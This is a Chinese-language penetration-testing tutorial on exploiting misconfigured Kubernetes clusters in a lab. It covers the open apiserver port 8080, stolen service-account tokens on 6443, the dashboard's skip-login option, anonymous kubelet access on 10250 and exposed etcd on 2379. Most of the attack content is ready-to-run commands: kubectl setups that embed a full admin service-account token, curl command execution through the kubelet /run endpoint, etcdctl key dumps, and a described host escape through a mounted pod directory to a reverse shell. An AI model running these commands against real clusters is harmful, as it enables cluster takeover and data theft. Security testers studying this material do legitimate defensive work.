前言
Kubernetes大致结构如下，主要集群由master、node组成，master主要进行各种管理，node提供部署环境
简介：
apiserver：操作各项资源，如部署应用等
scheduler：按照设定的调度策略，将pod安装到指定的node上
etcd：存放集群信息，包含master、nodes等
controller manager：集群控制，管控相关node
kubelet：接收到请求，操作集群中的容器
详情见官方文档：
https://kubernetes.io/zh/docs/concepts/overview/components/# kube-apiserver
组件接口风险
Kubernetes使用的组件非常多，大多数以HTTP、HTTPS的API形式提供服务，常用的服务和端口如下
APIserver 6443：基于HTTPS的安全端口
APIserver 8080：不安全的HTTP端口
Kubelet 10248：用于检查Kubelet状态的HTTP端口
Kubelet 10250：面向APIserver提供服务的HTTPS端口
Dashboard 30000以上：提供HTTP服务的端口
etcd 2379：客户端和服务端之间通信的端口
etcd 2380：不同服务端之间通信的端口
apiserver
默认情况下APIserver只在8080、6443两个端口提供服务，8080端口提供没有TLS加密的HTTP服务，所有到达该端口的请求将绕过所有认证和授权模块，保留该端口是为了方便测试和集群初启动
在生产环境开放8080端口，也是非常危险，如果暴露在公网，那么任何网络可达的攻击者都能够通过该端口直接和APIserver交互，继而控制集群
对比下6443提供了TLS加密的HTTPS服务，到达的请求必须通过认证和授权机制才能被处理，认证和授权机制下，6443端口的服务安全性将更高
实际利用
8080端口
直接访问后页面如下
http://192.168.3.19:8080/
结合kubectl远程获取目标已经存在的pod列表
kubectl -s 192.168.3.19:8080 get pods
远程交互shell
6443端口
尝试寻找各类token，如kube-system命名空间、admin用户、其他各类自建或默认账户等
正常访问其实获取不到东西，各类token都没
修改基本配置文件后，再度访问，部分token等信息如下
结合收集到的token进步利用
kubectl --kubeconfig=./test_config config set-credentials hacker --token=eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJhZG1pbi11c2VyLXRva2VuLXpxZmh2Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ2aWNlLWFjY291bnQubmFtZSI6ImFkbWluLXVzZXIiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiIzZjg2Y2I0Ni05OTJkLTRjMjEtYjI1OC0zZmFmYTQ2ZTE0YjEiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZS1zeXN0ZW06YWRtaW4tdXNlciJ9.V2wo-WrgJnk0C5Ur8WEVmAhyBagbYaec6toySBXtaui87j8X8fbYylSD-tCnBlv30WkCX4VZ_sanoq7HpdUl0-1aRk3U6GT_ZgoPEQQL7OuULEA5Qia4ZuJpNa-sbNSzvnFn-dvWRzdR-lommnpOvFYiCx7c5ZK1zfk1nLRaQGDVjUspHAlxFutBevroSZqfAyW3WU1Crc0kAZuvj1gvyKs32XAAU-sgARdiCwyLWfshIjQn51lvTUk_C77RSlM3wj2uEbmOwnacKcLnDXPzpi3Lz85ecI-bz030TsuwN_i2wsZPLkhLz3E6A3D66ZlyBESeBj-qdTwbcnr92nNFug
kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.3.19:6443/ --insecure-skip-tls-verify
kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker
kubectl --kubeconfig=./test_config config use-context test_context
加载config文件，获得pods，nodes等信息，同理可得交互shell
也可以不新建文件，直接带着token
dashboard
默认情况下部署完后需要先kubectl proxy，才能访问dashboard，但是如果将端口映射在宿主机上，那么所有能访问到机器的用户都能直接访问dashboard
通过配置文件修改，可添加跳过认证
实际利用
点击跳过可直接进入后台页面
在安装dashboard的时候会默认增加dashboard-admin账户具备cluster-admin角色权限，如果能够找到相关的admin账户token也可以尝试利用token进入dashboard
kubelet
每个节点都有个kubelet的服务，默认情况下kubelet在10250端口开放api服务，另外还监听10248端口，以供其他组件检查kubelet的运行状态
10248端口，暂时没有特别的风险
10250端口，默认情况下apiserver访问kubelet需要客户端证书，但如果发生如下任意情况
1）攻击者获取了apiserver访问kubelet客户端的证书
2）将kubelet的--anonymous-auth参数设置为true，且authorization.mode设置为AlwaysAllow
则攻击者将能够直接和kubelet交互，从而实现节点的控制
实际利用
访问pods路径如下
涉及POD、NAMESPACE、CONTAINERS关键字如下【中间环境重新安装过，内容些许不一样，但不影响学习】
关注metadata.name，metadata.namespace，spec.containers.name
利用kubeletctl，同理获取POD、NAMESPACE、CONTAINERS
./kubeletctl_darwin_amd64 pods -s 192.168.3.21 --port 10250
结合获取到的信息可进步命令执行
curl -k https://192.168.3.21:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure
etcd
如果能够获得etcd中的数据，将能够进步获得更高权限从而控制集群
默认启动监听2379、2380两个端口，前者用于客户端连接，后者用于多个etcd实例之间的通信
默认情况下两个端口提供的服务器都是需要相应证书才能访问（禁止匿名访问），但如果攻击者获得了证书，或者用户设置为了匿名访问，那么就能够直接访问etcd并进步窃取数据
实际利用
页面如下
利用etcdctl进步遍历key
export ETCDCTL_API=3
./etcdctl --endpoints=http://192.168.3.19:2379/ get / --prefix --keys-only
若启用https
./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.3.19:2379/ get / --prefix --keys-only
基于进步获得到的key、token结合先前的kubectl同理操作
token其他利用
除了进入交互shell外足够权限的token还可以进步部署pod
需要注意部分token没法直接创建pod
权限足够可以创建pod如下
同理进入bash，此处是进入创建的pod
通过部署的pod而挂载的目录进步写反弹shell，可获得宿主机权限如下
